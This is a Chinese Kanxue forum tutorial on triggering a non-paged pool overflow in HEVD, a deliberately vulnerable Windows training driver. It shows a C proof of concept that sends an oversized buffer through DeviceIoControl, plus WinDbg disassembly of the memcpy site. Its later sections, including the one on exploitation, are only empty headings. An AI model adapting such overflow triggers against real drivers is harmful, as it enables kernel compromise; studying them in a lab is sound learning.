其他
HEVD池溢出系列
本文为看雪论坛优秀文章
一 • 堆溢出到池溢出
它是谁:函数是哪里出现问题的,我们可以判断出它是哪种类型的漏洞。
到哪里去:函数会导致什么后果,从而触发漏洞 从哪里来:如何去调用到目标函数。
二 • 它是谁?
那么我们先简单的编制一个poc,证明漏洞的存在。
#include<stdio.h>
#include<windows.h>
int main() {
ULONG bReturn = 0;
HANDLE hevDevice;
ULONG BytesReturned;
hevDevice = (HANDLE)CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, NULL, 0x3, 0, NULL);
char buf[0x1f8] = { 0 };
if (!hevDevice) {
printf(" failed to get handle");
}
RtlFillMemory(buf, 0x1f8, 'a');
DeviceIoControl(hevDevice, 0x22200f, buf, 0x1f8, NULL, 0, &bReturn, NULL);
return 0;
}
kd> u HEVD!TriggerBufferOverflowNonPagedPool+0xf0
HEVD!TriggerBufferOverflowNonPagedPool+0xf0 [c:\projects\hevd\driver\hevd\bufferoverflownonpagedpool.c @ 137]:
839f3dbe ff750c push dword ptr [ebp+0Ch]
839f3dc1 ff7508 push dword ptr [ebp+8]
839f3dc4 53 push ebx
839f3dc5 e812c4fbff call HEVD!memcpy (839b01dc)
839f3dca 6886659f83 push offset HEVD! ?? ::NNGAKEGL::`string' (839f6586)
839f3dcf 6a03 push 3
839f3dd1 6a4d push 4Dh
839f3dd3 ffd7 call edi
kd> u HEVD!TriggerBufferOverflowNonPagedPool+0xf7
HEVD!TriggerBufferOverflowNonPagedPool+0xf7 [c:\projects\hevd\driver\hevd\bufferoverflownonpagedpool.c @ 137]:
839f3dc5 e812c4fbff call HEVD!memcpy (839b01dc)
839f3dca 6886659f83 push offset HEVD! ?? ::NNGAKEGL::`string' (839f6586)
839f3dcf 6a03 push 3
839f3dd1 6a4d push 4Dh
839f3dd3 ffd7 call edi
839f3dd5 681a619f83 push offset HEVD! ?? ::NNGAKEGL::`string' (839f611a)
839f3dda 688e649f83 push offset HEVD! ?? ::NNGAKEGL::`string' (839f648e)
839f3ddf 6a03 push 3
kd> bp HEVD!TriggerBufferOverflowNonPagedPool+0xf7
试着多发送8个字节的内容。
此时我们已经彻底明白了,漏洞“是谁”。
三 • 到哪里去?
四 • 函数来释放这段空间
利用:
道别时想说些什么
参考链接:
https://50u1w4y.github.io/site/HEVD/nonPagedpooloverflow/#0x00 https://bbs.pediy.com/thread-252665.htm
看雪ID:某警官
https://bbs.pediy.com/user-home-856450.htm
*本文由看雪论坛 某警官 原创,转载请注明来自看雪社区。
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!